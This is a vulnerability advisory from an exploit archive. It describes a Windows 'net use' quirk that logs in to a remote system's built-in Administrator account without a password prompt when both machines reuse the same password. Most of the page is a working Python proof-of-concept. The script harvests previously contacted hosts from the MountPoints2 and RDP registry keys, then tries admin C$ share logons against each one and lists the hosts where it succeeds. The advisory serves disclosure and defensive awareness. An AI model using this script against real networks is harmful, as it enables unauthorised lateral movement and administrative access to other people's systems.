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Microsoft Windows Net Use Insufficent Authentication

Microsoft Windows Net Use Insufficent Authentication
Posted Apr 6, 2020
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

The Windows "net use" network logon type-3 command does not prompt for authentication when the built-in Administrator account is enabled and both remote and originating systems suffer from password reuse. This also works as "standard" user but unfortunately we do not gain high integrity privileges. However, it opens the door and increases the attack surface if the box we laterally move to has other vulnerabilities present.

tags | exploit, remote, vulnerability
systems | windows
MD5 | 1cbbf18780d337b8641e53ba2ce0d1e4

Microsoft Windows Net Use Insufficent Authentication

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-NET-USE-INSUFFICIENT-PASSWORD-PROMPT.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.microsoft.com


[Product]
Windows "net use" Command

Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections.
The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections.


[Vulnerability Type]
Insuffient Password Prompt


[CVE Reference]
N/A


[Security Issue]
The Windows "net use" network logon type-3 command does not prompt for authentication when the built-in Administrator account
is enabled and both remote and originating systems suffer from password reuse. This also works as "standard" user but unfortunately
we do not gain high integrity privileges. However, it opens the door and increases the attack surface if the box we laterally move to
has other vulnerabilities present.

In contrast authenticating using the "unc path" "\\x.x.x.x\c$" using an explorer type logon does prompt for credentials as expected.
The authentication mechanism between the two network logon methods are inconsistent and in my opinon leaves an authentication loophole invitation.
Moreover, since this targets built-in Administrator account, one would think there would be more or equal security measures in place not less.

Requirements:
1) Remote system built-in Administrator account is enabled
2) Origination system users account password and the remote system Administrator passwords match (reuse).

Typically, to gain Admin privileges on remote logon you may have to create and enable "LocalAccountTokenFilterPolicy" but NOT in this case.
Again, the "LocalAccountTokenFilterPolicy" registry setting does NOT need to exist and is NOT enabled and has no bearing on the issue.

However, if "FilterAdministratorToken" is enabled in registry on the remote system then the above loophole scenario fails.
Interestingly, the "FilterAdministratorToken" setting does not seem to exist by default in the Windows registry.

Therefore, if an attacker pops a box they can check "MountPoints2" registry values usually used by forensic analysts for previous network connections
and try them and if theres password reuse (likely) BOOM automagic logon.

This vuln occurs due to an inconsistent password dialog prompting and whether the "net use" logon method is used.
When testing make sure to logout then log back in after changing passwords so the environment is clean.

e.g.

1) Passwords for both systems are different and remote built-in Administrator account active:

C:\sec>net use z: \\192.168.x.x\c$ /user:Administrator

Enter the password for 'Administrator' to connect to '192.168.x.x':
System error 5 has occurred.

Access is denied.

2) Passwords for both origination system and remote match:

C:\sec>net use z: \\192.168.x.x\c$ /user:Administrator
The command completed successfully.

By the way as a side note DCERPC calls work as well, if both systems happen to have same password.
c:\>getmac /s x.x.x.x /U Administrator

MSRC in their response, pointed out that "No login prompt on remote connection if both Administrator password are the same."
Ok, but why does "net use" not follow the same pattern as doing a UNC-Path type of logon, where we get the expected cred dialog box?

Expected result: Consistent password dialog box, no matter if passwords match or not.
Actual Result: No prompt for a password if both systems passwords are the same.

Tested successfully on fully patched Windows 10 using VM, also across LAN to a non-domain connected PC.


[Exploit/POC]
import os,re,time,signal,sys
from subprocess import *
from multiprocessing import Process

#By John Page (aka hyp3rlinx)
#Apparition Security
#twitter.com/hyp3rlinx
#-----------------------------------
#When a remote systems built-in Administrator account is enabled and both the remote and the target system
#passwords match (password reuse) theres no prompt for credentials and we get logged in automagically.
#
#MountPoints2 and Terminal server client hints in the Windows registry can help us.
#Typically, MountPoints2 is used by Forensic analysts to help determine where an attacker laterally moved to previously.
#REG Query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 /F "##" (we want network logons)
#MountPoints2 key entries are stored like '##10.2.1.40#c$'
#-----------------------------------------------------------

BANNER="""
_ ______________ ___ ____ __ _______ ______
/ | / / ____/_ __/ / | / __ )/ / / / ___// ____/
/ |/ / __/ / / / /| | / __ / / / /\__ \/ __/
/ /| / /___ / / / ___ |/ /_/ / /_/ /___/ / /___
/_/ |_/_____/ /_/ /_/ |_/_____/\____//____/_____/

By Hyp3rlinx
ApparitionSec
"""

DRIVE="X"
FINDME="The command completed successfully."
REG_MOUNT2='REG Query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 /F "##"'
REG_RDPUSERS="REG Query \"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\""+" /s"
VULN_FOUND=set()
DELAY=2 #Any lower and we may get inaccurate results.
rdp_server_lst=[]

#Return prior network logons to remote systems.
def mountpoints2():
mntpoint2_connections=[]
try:
p = Popen(REG_MOUNT2, stdout=PIPE, stderr=PIPE, shell=True)
tmp = p.stdout.readlines()
except Exception as e:
print("[!] "+str(e))
return False
for x in tmp:
idx = x.find("##")
clean = x[idx:]
idx2 = clean.rfind("#")
ip = clean[2:idx2]
ip = re.sub(r"#.*[A-Z,a-z]","",ip)
if ip not in mntpoint2_connections:
mntpoint2_connections.append(ip)
mntpoint2_connections = list(filter(None, mntpoint2_connections))
p.kill()
return mntpoint2_connections


#Terminal server client stores remote server connections.
def rdp_svrs():
global rdp_server_lst
try:
p = Popen(REG_RDPUSERS, stdout=PIPE, stderr=PIPE, shell=True)
tmp = p.stdout.readlines()
for key in tmp:
if key.find("Servers")!=-1:
pos = key.rfind("\\")
srv = key[pos + 1:].replace("\r\n","").strip()
rdp_server_lst.append(srv)
p.kill()
except Exception as e:
print("[!] "+str(e))
return False
return True


#Disconnect
def del_vuln_connection(ip):
try:
print("[!] Disconnecting vuln network logon connection.\n")
call(r"net use "+DRIVE+":"+" /del")
except Exception as e:
print("[!] "+str(e))


#Check connection
def chk_connection(ip):
print("[+] Testing: "+ip)
sys.stdout.flush()
cmd = Popen(['ping.exe', ip, "-n", "1"], stderr=PIPE, stdout=PIPE, shell=True)
stderr, stdout = cmd.communicate()
if "Reply from" in stderr and "Destination host unreachable" not in stderr:
print("[*] Target up!")
return True
else:
print("[!] Target unreachable :(")
return False


#Test vuln
def Test_Password_Reuse(ip):
print("[+] Testing "+ip + " the builtin Administrator account.\n")
sys.stdout.flush()
try:
p = Popen("net use X: \\\\"+ip+"\\c$ /user:Administrator", stdout=PIPE, stderr=PIPE, shell=True)
err = p.stderr.readlines()

if err:
e = str(err)
if e.find("error 53")!=-1:
print("[*] Network path not found\n")
return
elif e.find("error 1219")!=-1:
print("[*] Target connections to a server or shared resource by the same user, using more than one user name are disallowed.\n")
return
elif e.find("error 85")!=-1:
print("[*] The local device name is already in use.\n")
return
else:
print(e+"\n")

tmp = p.stdout.read()

if FINDME in tmp:
print("[*] Password reuse for the built-in Administrator found!")
print("[+] Connected to target: "+ ip)
VULN_FOUND.add(ip+":Administrator")
del_vuln_connection(ip)
p.kill()
except Exception as e:
print("[!] "+str(e))



#Authenticate
def auth(ip):
action_process = Process(target=Test_Password_Reuse, args=(ip,))
action_process.start()
action_process.join(timeout=5)
action_process.terminate()


if __name__ == "__main__":

print(BANNER)
print("[+] Windows 'net use' Network Logon Type-3")
print("[+] Insufficient Password Prompt")
print("[+] By hyp3rlinx\n")

time.sleep(3)

print("[+] Deleting any existing network logons to start clean.")

#Make sure no exist sessions already exist.
call(r"net use * /del /y")
sys.stdout.flush()
time.sleep(1)


#Grab previous connections from MountPoints2 if any.
rdp_svrs()
svrlst=mountpoints2()

if svrlst:
svrlst + rdp_server_lst
else:
svrlst = rdp_server_lst

if not svrlst:
print("[*] No MountPoints2 artifacts found, enter an IP.")
sys.stdout.flush()
ip=raw_input("[+] Target IP> ")
if chk_connection(ip):
auth(ip)
else:
#We have MountPoints2 or RDP Server list IP we can try.
for ip in svrlst:
if chk_connection(ip):
auth(ip)

time.sleep(DELAY)


if len(VULN_FOUND) != 0:
print("[*] Located the following vulnerable systems:")
sys.stdout.flush()
for v in VULN_FOUND:
print("[+] "+v)
else:
print("[+] All previous attempts failed, enter an IP and give it a shot!.")
sys.stdout.flush()
ip=raw_input("[+] Target IP> ")
if chk_connection(ip):
auth(ip)



[POC Video URL]
https://www.youtube.com/watch?v=Je93Neb0k8g


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: February 28, 2020
MSRC "behavior you are reporting is by design" : March 30, 2020
April 5, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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